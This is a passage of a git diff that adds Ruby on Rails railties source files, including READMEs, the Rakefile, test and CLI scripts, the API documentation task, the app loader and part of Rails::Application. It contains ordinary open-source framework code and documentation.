+We encourage you to contribute to Ruby on \Rails! Please check out the {Contributing to Rails
+guide}[http://edgeguides.rubyonrails.org/contributing_to_ruby_on_rails.html] for guidelines about how
+to proceed. {Join us}[http://contributors.rubyonrails.org]!
+
+
+== License
+
+Ruby on \Rails is released under the {MIT License}[http://www.opensource.org/licenses/MIT].
diff --git a/railties/README.rdoc b/railties/README.rdoc
new file mode 100644
index 0000000000..a25658668c
--- /dev/null
+++ b/railties/README.rdoc
@@ -0,0 +1,41 @@
+= Railties -- Gluing the Engine to the Rails
+
+Railties is responsible for gluing all frameworks together. Overall, it:
+
+* handles the bootstrapping process for a Rails application;
+
+* manages the +rails+ command line interface;
+
+* and provides the Rails generators core.
+
+
+== Download
+
+The latest version of Railties can be installed with RubyGems:
+
+* gem install railties
+
+Source code can be downloaded as part of the Rails project on GitHub
+
+* https://github.com/rails/rails/tree/master/railties
+
+== License
+
+Railties is released under the MIT license:
+
+* http://www.opensource.org/licenses/MIT
+
+== Support
+
+API documentation is at
+
+* http://api.rubyonrails.org
+
+Bug reports can be filed for the Ruby on Rails project here:
+
+* https://github.com/rails/rails/issues
+
+Feature requests should be discussed on the rails-core mailing list here:
+
+* https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core
+
diff --git a/railties/Rakefile b/railties/Rakefile
new file mode 100644
index 0000000000..d6284b7dc5
--- /dev/null
+++ b/railties/Rakefile
@@ -0,0 +1,35 @@
+require "rake/testtask"
+
+task default: :test
+
+task :package
+
+desc "Run all unit tests"
+task test: "test:isolated"
+
+namespace :test do
+  task :isolated do
+    dirs = (ENV["TEST_DIR"] || ENV["TEST_DIRS"] || "**").split(",")
+    test_files = dirs.map { |dir| "test/#{dir}/*_test.rb" }
+    Dir[*test_files].each do |file|
+      next true if file.include?("fixtures")
+      dash_i = [
+        "test",
+        "lib",
+        "#{__dir__}/../activesupport/lib",
+        "#{__dir__}/../actionpack/lib",
+        "#{__dir__}/../actionview/lib",
+        "#{__dir__}/../activemodel/lib"
+      ]
+      ruby "-w", "-I#{dash_i.join ':'}", file
+    end
+  end
+end
+
+Rake::TestTask.new("test:regular") do |t|
+  t.libs << "test" << "#{__dir__}/../activesupport/lib"
+  t.pattern = "test/**/*_test.rb"
+  t.warning = false
+  t.verbose = true
+  t.ruby_opts = ["--dev"] if defined?(JRUBY_VERSION)
+end
diff --git a/railties/bin/test b/railties/bin/test
new file mode 100755
index 0000000000..470ce93f10
--- /dev/null
+++ b/railties/bin/test
@@ -0,0 +1,4 @@
+#!/usr/bin/env ruby
+
+COMPONENT_ROOT = File.expand_path("..", __dir__)
+require_relative "../../tools/test"
diff --git a/railties/exe/rails b/railties/exe/rails
new file mode 100755
index 0000000000..a5635c2297
--- /dev/null
+++ b/railties/exe/rails
@@ -0,0 +1,9 @@
+#!/usr/bin/env ruby
+
+git_path = File.expand_path("../../.git", __dir__)
+
+if File.exist?(git_path)
+  railties_path = File.expand_path("../lib", __dir__)
+  $:.unshift(railties_path)
+end
+require "rails/cli"
diff --git a/railties/lib/minitest/rails_plugin.rb b/railties/lib/minitest/rails_plugin.rb
new file mode 100644
index 0000000000..fec9ae64d8
--- /dev/null
+++ b/railties/lib/minitest/rails_plugin.rb
@@ -0,0 +1,49 @@
+require "active_support/core_ext/module/attribute_accessors"
+require "rails/test_unit/reporter"
+
+module Minitest
+  class SuppressedSummaryReporter < SummaryReporter
+    # Disable extra failure output after a run if output is inline.
+    def aggregated_results(*)
+      super unless options[:output_inline]
+    end
+  end
+
+  def self.plugin_rails_options(opts, options)
+    opts.on("-b", "--backtrace", "Show the complete backtrace") do
+      options[:full_backtrace] = true
+    end
+
+    opts.on("-d", "--defer-output", "Output test failures and errors after the test run") do
+      options[:output_inline] = false
+    end
+
+    opts.on("-f", "--fail-fast", "Abort test run on first failure or error") do
+      options[:fail_fast] = true
+    end
+
+    opts.on("-c", "--[no-]color", "Enable color in the output") do |value|
+      options[:color] = value
+    end
+
+    options[:color] = true
+    options[:output_inline] = true
+  end
+
+  # Owes great inspiration to test runner trailblazers like RSpec,
+  # minitest-reporters, maxitest and others.
+  def self.plugin_rails_init(options)
+    unless options[:full_backtrace] || ENV["BACKTRACE"]
+      # Plugin can run without Rails loaded, check before filtering.
+      Minitest.backtrace_filter = ::Rails.backtrace_cleaner if ::Rails.respond_to?(:backtrace_cleaner)
+    end
+
+    # Replace progress reporter for colors.
+    reporter.reporters.delete_if { |reporter| reporter.kind_of?(SummaryReporter) || reporter.kind_of?(ProgressReporter) }
+    reporter << SuppressedSummaryReporter.new(options[:io], options)
+    reporter << ::Rails::TestUnitReporter.new(options[:io], options)
+  end
+
+  # Backwardscompatibility with Rails 5.0 generated plugin test scripts
+  mattr_reader :run_via, default: {}
+end
diff --git a/railties/lib/rails.rb b/railties/lib/rails.rb
new file mode 100644
index 0000000000..a12ca42c30
--- /dev/null
+++ b/railties/lib/rails.rb
@@ -0,0 +1,112 @@
+require_relative "rails/ruby_version_check"
+
+require "pathname"
+
+require "active_support"
+require "active_support/dependencies/autoload"
+require "active_support/core_ext/kernel/reporting"
+require "active_support/core_ext/module/delegation"
+require "active_support/core_ext/array/extract_options"
+require "active_support/core_ext/object/blank"
+
+require_relative "rails/application"
+require_relative "rails/version"
+
+require "active_support/railtie"
+require "action_dispatch/railtie"
+
+# UTF-8 is the default internal and external encoding.
+silence_warnings do
+  Encoding.default_external = Encoding::UTF_8
+  Encoding.default_internal = Encoding::UTF_8
+end
+
+module Rails
+  extend ActiveSupport::Autoload
+
+  autoload :Info
+  autoload :InfoController
+  autoload :MailersController
+  autoload :WelcomeController
+
+  class << self
+    @application = @app_class = nil
+
+    attr_writer :application
+    attr_accessor :app_class, :cache, :logger
+    def application
+      @application ||= (app_class.instance if app_class)
+    end
+
+    delegate :initialize!, :initialized?, to: :application
+
+    # The Configuration instance used to configure the Rails environment
+    def configuration
+      application.config
+    end
+
+    def backtrace_cleaner
+      @backtrace_cleaner ||= begin
+        # Relies on Active Support, so we have to lazy load to postpone definition until Active Support has been loaded
+        require_relative "rails/backtrace_cleaner"
+        Rails::BacktraceCleaner.new
+      end
+    end
+
+    # Returns a Pathname object of the current Rails project,
+    # otherwise it returns +nil+ if there is no project:
+    #
+    #   Rails.root
+    #     # => #<Pathname:/Users/someuser/some/path/project>
+    def root
+      application && application.config.root
+    end
+
+    # Returns the current Rails environment.
+    #
+    #   Rails.env # => "development"
+    #   Rails.env.development? # => true
+    #   Rails.env.production? # => false
+    def env
+      @_env ||= ActiveSupport::StringInquirer.new(ENV["RAILS_ENV"].presence || ENV["RACK_ENV"].presence || "development")
+    end
+
+    # Sets the Rails environment.
+    #
+    #   Rails.env = "staging" # => "staging"
+    def env=(environment)
+      @_env = ActiveSupport::StringInquirer.new(environment)
+    end
+
+    # Returns all Rails groups for loading based on:
+    #
+    # * The Rails environment;
+    # * The environment variable RAILS_GROUPS;
+    # * The optional envs given as argument and the hash with group dependencies;
+    #
+    #   groups assets: [:development, :test]
+    #
+    #   # Returns
+    #   # => [:default, "development", :assets] for Rails.env == "development"
+    #   # => [:default, "production"]           for Rails.env == "production"
+    def groups(*groups)
+      hash = groups.extract_options!
+      env = Rails.env
+      groups.unshift(:default, env)
+      groups.concat ENV["RAILS_GROUPS"].to_s.split(",")
+      groups.concat hash.map { |k, v| k if v.map(&:to_s).include?(env) }
+      groups.compact!
+      groups.uniq!
+      groups
+    end
+
+    # Returns a Pathname object of the public folder of the current
+    # Rails project, otherwise it returns +nil+ if there is no project:
+    #
+    #   Rails.public_path
+    #     # => #<Pathname:/Users/someuser/some/path/project/public>
+    def public_path
+      application && Pathname.new(application.paths["public"].first)
+    end
+  end
+end
diff --git a/railties/lib/rails/all.rb b/railties/lib/rails/all.rb
new file mode 100644
index 0000000000..7606ea0e46
--- /dev/null
+++ b/railties/lib/rails/all.rb
@@ -0,0 +1,17 @@
+require "rails"
+
+%w(
+  active_record/railtie
+  action_controller/railtie
+  action_view/railtie
+  action_mailer/railtie
+  active_job/railtie
+  action_cable/engine
+  rails/test_unit/railtie
+  sprockets/railtie
+).each do |railtie|
+  begin
+    require railtie
+  rescue LoadError
+  end
+end
diff --git a/railties/lib/rails/api/generator.rb b/railties/lib/rails/api/generator.rb
new file mode 100644
index 0000000000..dcc491783c
--- /dev/null
+++ b/railties/lib/rails/api/generator.rb
@@ -0,0 +1,28 @@
+require "sdoc"
+
+class RDoc::Generator::API < RDoc::Generator::SDoc # :nodoc:
+  RDoc::RDoc.add_generator self
+
+  def generate_class_tree_level(classes, visited = {})
+    # Only process core extensions on the first visit.
+    if visited.empty?
+      core_exts, classes = classes.partition { |klass| core_extension?(klass) }
+
+      super.unshift([ "Core extensions", "", "", build_core_ext_subtree(core_exts, visited) ])
+    else
+      super
+    end
+  end
+
+  private
+    def build_core_ext_subtree(classes, visited)
+      classes.map do |klass|
+        [ klass.name, klass.document_self_or_methods ? klass.path : "", "",
+            generate_class_tree_level(klass.classes_and_modules, visited) ]
+      end
+    end
+
+    def core_extension?(klass)
+      klass.name != "ActiveSupport" && klass.in_files.any? { |file| file.absolute_name.include?("core_ext") }
+    end
+end
diff --git a/railties/lib/rails/api/task.rb b/railties/lib/rails/api/task.rb
new file mode 100644
index 0000000000..49267c2329
--- /dev/null
+++ b/railties/lib/rails/api/task.rb
@@ -0,0 +1,175 @@
+require "rdoc/task"
+require_relative "generator"
+
+module Rails
+  module API
+    class Task < RDoc::Task
+      RDOC_FILES = {
+        "activesupport" => {
+          include: %w(
+            README.rdoc
+            lib/active_support/**/*.rb
+          )
+        },
+
+        "activerecord" => {
+          include: %w(
+            README.rdoc
+            lib/active_record/**/*.rb
+          )
+        },
+
+        "activemodel" => {
+          include: %w(
+            README.rdoc
+            lib/active_model/**/*.rb
+          )
+        },
+
+        "actionpack" => {
+          include: %w(
+            README.rdoc
+            lib/abstract_controller/**/*.rb
+            lib/action_controller/**/*.rb
+            lib/action_dispatch/**/*.rb
+          )
+        },
+
+        "actionview" => {
+          include: %w(
+            README.rdoc
+            lib/action_view/**/*.rb
+          ),
+          exclude: "lib/action_view/vendor/*"
+        },
+
+        "actionmailer" => {
+          include: %w(
+            README.rdoc
+            lib/action_mailer/**/*.rb
+          )
+        },
+
+        "activejob" => {
+          include: %w(
+            README.md
+            lib/active_job/**/*.rb
+          )
+        },
+
+        "actioncable" => {
+          include: %w(
+            README.md
+            lib/action_cable/**/*.rb
+          )
+        },
+
+        "railties" => {
+          include: %w(
+            README.rdoc
+            lib/**/*.rb
+          ),
+          exclude: %w(
+            lib/rails/generators/**/templates/**/*.rb
+            lib/rails/test_unit/*
+            lib/rails/api/generator.rb
+          )
+        }
+      }
+
+      def initialize(name)
+        super
+
+        # Every time rake runs this task is instantiated as all the rest.
+        # Be lazy computing stuff to have as light impact as possible to
+        # the rest of tasks.
+        before_running_rdoc do
+          configure_sdoc
+          configure_rdoc_files
+          setup_horo_variables
+        end
+      end
+
+      # Hack, ignore the desc calls performed by the original initializer.
+      def desc(description)
+        # no-op
+      end
+
+      def configure_sdoc
+        self.title    = "Ruby on Rails API"
+        self.rdoc_dir = api_dir
+
+        options << "-m"  << api_main
+        options << "-e"  << "UTF-8"
+
+        options << "-f"  << "api"
+        options << "-T"  << "rails"
+      end
+
+      def configure_rdoc_files
+        rdoc_files.include(api_main)
+
+        RDOC_FILES.each do |component, cfg|
+          cdr = component_root_dir(component)
+
+          Array(cfg[:include]).each do |pattern|
+            rdoc_files.include("#{cdr}/#{pattern}")
+          end
+
+          Array(cfg[:exclude]).each do |pattern|
+            rdoc_files.exclude("#{cdr}/#{pattern}")
+          end
+        end
+
+        # Only generate documentation for files that have been
+        # changed since the API was generated.
+        if Dir.exist?("doc/rdoc") && !ENV["ALL"]
+          last_generation = DateTime.rfc2822(File.open("doc/rdoc/created.rid", &:readline))
+
+          rdoc_files.keep_if do |file|
+            File.mtime(file).to_datetime > last_generation
+          end
+
+          # Nothing to do
+          exit(0) if rdoc_files.empty?
+        end
+      end
+
+      def setup_horo_variables
+        ENV["HORO_PROJECT_NAME"]    = "Ruby on Rails"
+        ENV["HORO_PROJECT_VERSION"] = rails_version
+      end
+
+      def api_main
+        component_root_dir("railties") + "/RDOC_MAIN.rdoc"
+      end
+    end
+
+    class RepoTask < Task
+      def configure_sdoc
+        super
+        options << "-g" # link to GitHub, SDoc flag
+      end
+
+      def component_root_dir(component)
+        component
+      end
+
+      def api_dir
+        "doc/rdoc"
+      end
+    end
+
+    class EdgeTask < RepoTask
+      def rails_version
+        "master@#{`git rev-parse HEAD`[0, 7]}"
+      end
+    end
+
+    class StableTask < RepoTask
+      def rails_version
+        File.read("RAILS_VERSION").strip
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/app_loader.rb b/railties/lib/rails/app_loader.rb
new file mode 100644
index 0000000000..3dc4fe5414
--- /dev/null
+++ b/railties/lib/rails/app_loader.rb
@@ -0,0 +1,64 @@
+require "pathname"
+require_relative "version"
+
+module Rails
+  module AppLoader # :nodoc:
+    extend self
+
+    RUBY = Gem.ruby
+    EXECUTABLES = ["bin/rails", "script/rails"]
+    BUNDLER_WARNING = <<EOS
+Looks like your app's ./bin/rails is a stub that was generated by Bundler.
+
+In Rails #{Rails::VERSION::MAJOR}, your app's bin/ directory contains executables that are versioned
+like any other source code, rather than stubs that are generated on demand.
+
+Here's how to upgrade:
+
+  bundle config --delete bin    # Turn off Bundler's stub generator
+  rails app:update:bin          # Use the new Rails 5 executables
+  git add bin                   # Add bin/ to source control
+
+You may need to remove bin/ from your .gitignore as well.
+
+When you install a gem whose executable you want to use in your app,
+generate it and add it to source control:
+
+  bundle binstubs some-gem-name
+  git add bin/new-executable
+
+EOS
+
+    def exec_app
+      original_cwd = Dir.pwd
+
+      loop do
+        if exe = find_executable
+          contents = File.read(exe)
+
+          if contents =~ /(APP|ENGINE)_PATH/
+            exec RUBY, exe, *ARGV
+            break # non reachable, hack to be able to stub exec in the test suite
+          elsif exe.end_with?("bin/rails") && contents.include?("This file was generated by Bundler")
+            $stderr.puts(BUNDLER_WARNING)
+            Object.const_set(:APP_PATH, File.expand_path("config/application", Dir.pwd))
+            require File.expand_path("../boot", APP_PATH)
+            require_relative "commands"
+            break
+          end
+        end
+
+        # If we exhaust the search there is no executable, this could be a
+        # call to generate a new application, so restore the original cwd.
+        Dir.chdir(original_cwd) && return if Pathname.new(Dir.pwd).root?
+
+        # Otherwise keep moving upwards in search of an executable.
+        Dir.chdir("..")
+      end
+    end
+
+    def find_executable
+      EXECUTABLES.find { |exe| File.file?(exe) }
+    end
+  end
+end
diff --git a/railties/lib/rails/app_updater.rb b/railties/lib/rails/app_updater.rb
new file mode 100644
index 0000000000..e53d1cf093
--- /dev/null
+++ b/railties/lib/rails/app_updater.rb
@@ -0,0 +1,31 @@
+require "rails/generators"
+require "rails/generators/rails/app/app_generator"
+
+module Rails
+  class AppUpdater # :nodoc:
+    class << self
+      def invoke_from_app_generator(method)
+        app_generator.send(method)
+      end
+
+      def app_generator
+        @app_generator ||= begin
+          gen = Rails::Generators::AppGenerator.new ["rails"], generator_options, destination_root: Rails.root
+          File.exist?(Rails.root.join("config", "application.rb")) ? gen.send(:app_const) : gen.send(:valid_const?)
+          gen
+        end
+      end
+
+      private
+        def generator_options
+          options = { api: !!Rails.application.config.api_only, update: true }
+          options[:skip_active_record] = !defined?(ActiveRecord::Railtie)
+          options[:skip_action_mailer] = !defined?(ActionMailer::Railtie)
+          options[:skip_action_cable]  = !defined?(ActionCable::Engine)
+          options[:skip_sprockets]     = !defined?(Sprockets::Railtie)
+          options[:skip_puma]          = !defined?(Puma)
+          options
+        end
+    end
+  end
+end
diff --git a/railties/lib/rails/application.rb b/railties/lib/rails/application.rb
new file mode 100644
index 0000000000..a71f36840e
--- /dev/null
+++ b/railties/lib/rails/application.rb
@@ -0,0 +1,529 @@
+require "yaml"
+require "active_support/core_ext/hash/keys"
+require "active_support/core_ext/object/blank"
+require "active_support/key_generator"
+require "active_support/message_verifier"
+require_relative "engine"
+require_relative "secrets"
+
+module Rails
+  # An Engine with the responsibility of coordinating the whole boot process.
+  #
+  # == Initialization
+  #
+  # Rails::Application is responsible for executing all railties and engines
+  # initializers. It also executes some bootstrap initializers (check
+  # Rails::Application::Bootstrap) and finishing initializers, after all the others
+  # are executed (check Rails::Application::Finisher).
+  #
+  # == Configuration
+  #
+  # Besides providing the same configuration as Rails::Engine and Rails::Railtie,
+  # the application object has several specific configurations, for example
+  # "cache_classes", "consider_all_requests_local", "filter_parameters",
+  # "logger" and so forth.
+  #
+  # Check Rails::Application::Configuration to see them all.
+  #
+  # == Routes
+  #
+  # The application object is also responsible for holding the routes and reloading routes
+  # whenever the files change in development.
+  #
+  # == Middlewares
+  #
+  # The Application is also responsible for building the middleware stack.
+  #
+  # == Booting process
+  #
+  # The application is also responsible for setting up and executing the booting
+  # process. From the moment you require "config/application.rb" in your app,
+  # the booting process goes like this:
+  #
+  #   1)  require "config/boot.rb" to setup load paths
+  #   2)  require railties and engines
+  #   3)  Define Rails.application as "class MyApp::Application < Rails::Application"
+  #   4)  Run config.before_configuration callbacks
+  #   5)  Load config/environments/ENV.rb
+  #   6)  Run config.before_initialize callbacks
+  #   7)  Run Railtie#initializer defined by railties, engines and application.
+  #       One by one, each engine sets up its load paths, routes and runs its config/initializers/* files.
+  #   8)  Custom Railtie#initializers added by railties, engines and applications are executed
+  #   9)  Build the middleware stack and run to_prepare callbacks
+  #   10) Run config.before_eager_load and eager_load! if eager_load is true
+  #   11) Run config.after_initialize callbacks
+  #
+  # == Multiple Applications
+  #
+  # If you decide to define multiple applications, then the first application
+  # that is initialized will be set to +Rails.application+, unless you override
+  # it with a different application.
+  #
+  # To create a new application, you can instantiate a new instance of a class
+  # that has already been created:
+  #
+  #   class Application < Rails::Application
+  #   end
+  #
+  #   first_application  = Application.new
+  #   second_application = Application.new(config: first_application.config)
+  #
+  # In the above example, the configuration from the first application was used
+  # to initialize the second application. You can also use the +initialize_copy+
+  # on one of the applications to create a copy of the application which shares
+  # the configuration.
+  #
+  # If you decide to define Rake tasks, runners, or initializers in an
+  # application other than +Rails.application+, then you must run them manually.
+  class Application < Engine
+    autoload :Bootstrap,              "rails/application/bootstrap"
+    autoload :Configuration,          "rails/application/configuration"
+    autoload :DefaultMiddlewareStack, "rails/application/default_middleware_stack"
+    autoload :Finisher,               "rails/application/finisher"
+    autoload :Railties,               "rails/engine/railties"
+    autoload :RoutesReloader,         "rails/application/routes_reloader"
+
+    class << self
+      def inherited(base)
+        super
+        Rails.app_class = base
+        add_lib_to_load_path!(find_root(base.called_from))
+        ActiveSupport.run_load_hooks(:before_configuration, base)
+      end
+
+      def instance
+        super.run_load_hooks!
+      end
+
+      def create(initial_variable_values = {}, &block)
+        new(initial_variable_values, &block).run_load_hooks!
+      end
+
+      def find_root(from)
+        find_root_with_flag "config.ru", from, Dir.pwd
+      end
+
+      # Makes the +new+ method public.
+      #
+      # Note that Rails::Application inherits from Rails::Engine, which
+      # inherits from Rails::Railtie and the +new+ method on Rails::Railtie is
+      # private
+      public :new
+    end
+
+    attr_accessor :assets, :sandbox
+    alias_method :sandbox?, :sandbox
+    attr_reader :reloaders, :reloader, :executor
+
+    delegate :default_url_options, :default_url_options=, to: :routes
+
+    INITIAL_VARIABLES = [:config, :railties, :routes_reloader, :reloaders,
+                         :routes, :helpers, :app_env_config, :secrets] # :nodoc:
+
+    def initialize(initial_variable_values = {}, &block)
+      super()
+      @initialized       = false
+      @reloaders         = []
+      @routes_reloader   = nil
+      @app_env_config    = nil
+      @ordered_railties  = nil
+      @railties          = nil
+      @message_verifiers = {}
+      @ran_load_hooks    = false
+
+      @executor          = Class.new(ActiveSupport::Executor)
+      @reloader          = Class.new(ActiveSupport::Reloader)
+      @reloader.executor = @executor
+
+      # are these actually used?
+      @initial_variable_values = initial_variable_values
+      @block = block
+    end
+
+    # Returns true if the application is initialized.
+    def initialized?
+      @initialized
+    end
+
+    def run_load_hooks! # :nodoc:
+      return self if @ran_load_hooks
+      @ran_load_hooks = true
+
+      @initial_variable_values.each do |variable_name, value|
+        if INITIAL_VARIABLES.include?(variable_name)
+          instance_variable_set("@#{variable_name}", value)
+        end
+      end
+
+      instance_eval(&@block) if @block
+      self
+    end
+
+    # Reload application routes regardless if they changed or not.
+    def reload_routes!
+      routes_reloader.reload!
+    end
+
+    # Returns the application's KeyGenerator
+    def key_generator
+      # number of iterations selected based on consultation with the google security
+      # team. Details at https://github.com/rails/rails/pull/6952#issuecomment-7661220
+      @caching_key_generator ||=
+        if secrets.secret_key_base
+          unless secrets.secret_key_base.kind_of?(String)
+            raise ArgumentError, "`secret_key_base` for #{Rails.env} environment must be a type of String, change this value in `config/secrets.yml`"
+          end
+          key_generator = ActiveSupport::KeyGenerator.new(secrets.secret_key_base, iterations: 1000)
+          ActiveSupport::CachingKeyGenerator.new(key_generator)
+        else
+          ActiveSupport::LegacyKeyGenerator.new(secrets.secret_token)
+        end
+    end
+
+    # Returns a message verifier object.
+    #
+    # This verifier can be used to generate and verify signed messages in the application.
+    #
+    # It is recommended not to use the same verifier for different things, so you can get different
+    # verifiers passing the +verifier_name+ argument.
+    #
+    # ==== Parameters
+    #
+    # * +verifier_name+ - the name of the message verifier.
+    #
+    # ==== Examples
+    #
+    #     message = Rails.application.message_verifier('sensitive_data').generate('my sensible data')
+    #     Rails.application.message_verifier('sensitive_data').verify(message)
+    #     # => 'my sensible data'
+    #
+    # See the +ActiveSupport::MessageVerifier+ documentation for more information.
+    def message_verifier(verifier_name)
+      @message_verifiers[verifier_name] ||= begin
+        secret = key_generator.generate_key(verifier_name.to_s)
+        ActiveSupport::MessageVerifier.new(secret)
+      end
+    end
+
+    # Convenience for loading config/foo.yml for the current Rails env.
+    #
+    # Example:
+    #
+    #     # config/exception_notification.yml:
+    #     production:
+    #       url: http://127.0.0.1:8080
+    #       namespace: my_app_production
+    #     development:
+    #       url: http://localhost:3001
+    #       namespace: my_app_development
+    #
+    #     # config/environments/production.rb
+    #     Rails.application.configure do
+    #       config.middleware.use ExceptionNotifier, config_for(:exception_notification)
+    #     end
+    def config_for(name, env: Rails.env)
+      if name.is_a?(Pathname)
+        yaml = name
+      else
+        yaml = Pathname.new("#{paths["config"].existent.first}/#{name}.yml")
+      end
+
+      if yaml.exist?
+        require "erb"
+        (YAML.load(ERB.new(yaml.read).result) || {})[env] || {}
+      else
+        raise "Could not load configuration. No such file - #{yaml}"
+      end
+    rescue Psych::SyntaxError => e
+      raise "YAML syntax error occurred while parsing #{yaml}. " \
+        "Please note that YAML must be consistently indented using spaces. Tabs are not allowed. " \
+        "Error: #{e.message}"
+    end
+
+    # Stores some of the Rails initial environment parameters which
+    # will be used by middlewares and engines to configure themselves.
+    def env_config
+      @app_env_config ||= begin
+        validate_secret_key_config!
+
+        super.merge(
+          "action_dispatch.parameter_filter" => config.filter_parameters,
+          "action_dispatch.redirect_filter" => config.filter_redirect,
+          "action_dispatch.secret_token" => secrets.secret_token,
+          "action_dispatch.secret_key_base" => secrets.secret_key_base,
+          "action_dispatch.show_exceptions" => config.action_dispatch.show_exceptions,
+          "action_dispatch.show_detailed_exceptions" => config.consider_all_requests_local,
+          "action_dispatch.logger" => Rails.logger,
+          "action_dispatch.backtrace_cleaner" => Rails.backtrace_cleaner,
+          "action_dispatch.key_generator" => key_generator,
+          "action_dispatch.http_auth_salt" => config.action_dispatch.http_auth_salt,
+          "action_dispatch.signed_cookie_salt" => config.action_dispatch.signed_cookie_salt,
+          "action_dispatch.encrypted_cookie_salt" => config.action_dispatch.encrypted_cookie_salt,
+          "action_dispatch.encrypted_signed_cookie_salt" => config.action_dispatch.encrypted_signed_cookie_salt,
+          "action_dispatch.authenticated_encrypted_cookie_salt" => config.action_dispatch.authenticated_encrypted_cookie_salt,
+          "action_dispatch.cookies_serializer" => config.action_dispatch.cookies_serializer,
+          "action_dispatch.cookies_digest" => config.action_dispatch.cookies_digest
+        )
+      end
+    end
+
+    # If you try to define a set of Rake tasks on the instance, these will get
+    # passed up to the Rake tasks defined on the application's class.
+    def rake_tasks(&block)
+      self.class.rake_tasks(&block)
+    end
+
+    # Sends the initializers to the +initializer+ method defined in the
+    # Rails::Initializable module. Each Rails::Application class has its own
+    # set of initializers, as defined by the Initializable module.
+    def initializer(name, opts = {}, &block)
+      self.class.initializer(name, opts, &block)
+    end
+
+    # Sends any runner called in the instance of a new application up
+    # to the +runner+ method defined in Rails::Railtie.
+    def runner(&blk)
+      self.class.runner(&blk)
+    end
+
+    # Sends any console called in the instance of a new application up
+    # to the +console+ method defined in Rails::Railtie.
+    def console(&blk)
+      self.class.console(&blk)
+    end
+
+    # Sends any generators called in the instance of a new application up
+    # to the +generators+ method defined in Rails::Railtie.
+    def generators(&blk)
+      self.class.generators(&blk)
+    end
+
+    # Sends the +isolate_namespace+ method up to the class method.
+    def isolate_namespace(mod)
+      self.class.isolate_namespace(mod)
+    end
+
+    ## Rails internal API
+
+    # This method is called just after an application inherits from Rails::Application,
+    # allowing the developer to load classes in lib and use them during application
+    # configuration.
+    #
+    #   class MyApplication < Rails::Application
+    #     require "my_backend" # in lib/my_backend
+    #     config.i18n.backend = MyBackend
+    #   end
+    #
+    # Notice this method takes into consideration the default root path. So if you
+    # are changing config.root inside your application definition or having a custom
+    # Rails application, you will need to add lib to $LOAD_PATH on your own in case
+    # you need to load files in lib/ during the application configuration as well.
+    def self.add_lib_to_load_path!(root) #:nodoc:
+      path = File.join root, "lib"
+      if File.exist?(path) && !$LOAD_PATH.include?(path)
+        $LOAD_PATH.unshift(path)
+      end
+    end
+
+    def require_environment! #:nodoc:
+      environment = paths["config/environment"].existent.first
+      require environment if environment
+    end
+
+    def routes_reloader #:nodoc:
+      @routes_reloader ||= RoutesReloader.new
+    end
+
+    # Returns an array of file paths appended with a hash of
+    # directories-extensions suitable for ActiveSupport::FileUpdateChecker
+    # API.
+    def watchable_args #:nodoc:
+      files, dirs = config.watchable_files.dup, config.watchable_dirs.dup
+
+      ActiveSupport::Dependencies.autoload_paths.each do |path|
+        dirs[path.to_s] = [:rb]
+      end
+
+      [files, dirs]
+    end
+
+    # Initialize the application passing the given group. By default, the
+    # group is :default
+    def initialize!(group = :default) #:nodoc:
+      raise "Application has been already initialized." if @initialized
+      run_initializers(group, self)
+      @initialized = true
+      self
+    end
+
+    def initializers #:nodoc:
+      Bootstrap.initializers_for(self) +
+      railties_initializers(super) +
+      Finisher.initializers_for(self)
+    end
+
+    def config #:nodoc:
+      @config ||= Application::Configuration.new(self.class.find_root(self.class.called_from))
+    end
+
+    def config=(configuration) #:nodoc:
+      @config = configuration
+    end
+
+    # Returns secrets added to config/secrets.yml.
+    #
+    # Example:
+    #
+    #     development:
+    #       secret_key_base: 836fa3665997a860728bcb9e9a1e704d427cfc920e79d847d79c8a9a907b9e965defa4154b2b86bdec6930adbe33f21364523a6f6ce363865724549fdfc08553
+    #     test:
+    #       secret_key_base: 5a37811464e7d378488b0f073e2193b093682e4e21f5d6f3ae0a4e1781e61a351fdc878a843424e81c73fb484a40d23f92c8dafac4870e74ede6e5e174423010
+    #     production:
+    #       secret_key_base: <%= ENV["SECRET_KEY_BASE"] %>
+    #       namespace: my_app_production
+    #
+    # +Rails.application.secrets.namespace+ returns +my_app_production+ in the
+    # production environment.
+    def secrets
+      @secrets ||= begin
+        secrets = ActiveSupport::OrderedOptions.new
+        files = config.paths["config/secrets"].existent
+        files = files.reject { |path| path.end_with?(".enc") } unless config.read_encrypted_secrets
+        secrets.merge! Rails::Secrets.parse(files, env: Rails.env)
+
+        # Fallback to config.secret_key_base if secrets.secret_key_base isn't set
+        secrets.secret_key_base ||= config.secret_key_base
+        # Fallback to config.secret_token if secrets.secret_token isn't set
+        secrets.secret_token ||= config.secret_token
+
+        secrets
+      end
+    end
+
+    def secrets=(secrets) #:nodoc:
+      @secrets = secrets
+    end
+
+    def to_app #:nodoc:
+      self
+    end
+
+    def helpers_paths #:nodoc:
+      config.helpers_paths
+    end
+
+    console do
+      require "pp"
+    end
+
+    console do
+      unless ::Kernel.private_method_defined?(:y)
+        require "psych/y"
+      end
+    end
+
+    # Return an array of railties respecting the order they're loaded
+    # and the order specified by the +railties_order+ config.
+    #
+    # While running initializers we need engines in reverse order here when
+    # copying migrations from railties ; we need them in the order given by
+    # +railties_order+.
+    def migration_railties # :nodoc:
+      ordered_railties.flatten - [self]
+    end
+
+  protected
+
+    alias :build_middleware_stack :app
+
+    def run_tasks_blocks(app) #:nodoc:
+      railties.each { |r| r.run_tasks_blocks(app) }
+      super
+      require_relative "tasks"
+      task :environment do
+        ActiveSupport.on_load(:before_initialize) { config.eager_load = false }
+
+        require_environment!
+      end
+    end
+
+    def run_generators_blocks(app) #:nodoc:
+      railties.each { |r| r.run_generators_blocks(app) }
+      super
+    end
+
+    def run_runner_blocks(app) #:nodoc:
+      railties.each { |r| r.run_runner_blocks(app) }
+      super
+    end
+
+    def run_console_blocks(app) #:nodoc:
+      railties.each { |r| r.run_console_blocks(app) }
+      super
+    end
+
+    # Returns the ordered railties for this application considering railties_order.
+    def ordered_railties #:nodoc:
+      @ordered_railties ||= begin
+        order = config.railties_order.map do |railtie|
+          if railtie == :main_app
+            self
+          elsif railtie.respond_to?(:instance)
+            railtie.instance
+          else
+            railtie
+          end
+        end
+
+        all = (railties - order)
+        all.push(self)   unless (all + order).include?(self)
+        order.push(:all) unless order.include?(:all)
+
+        index = order.index(:all)
+        order[index] = all
+        order
+      end
+    end
+
+    def railties_initializers(current) #:nodoc:
+      initializers = []
+      ordered_railties.reverse.flatten.each do |r|
+        if r == self
+          initializers += current
+        else
+          initializers += r.initializers
+        end
+      end
+      initializers
+    end
+
+    def default_middleware_stack #:nodoc:
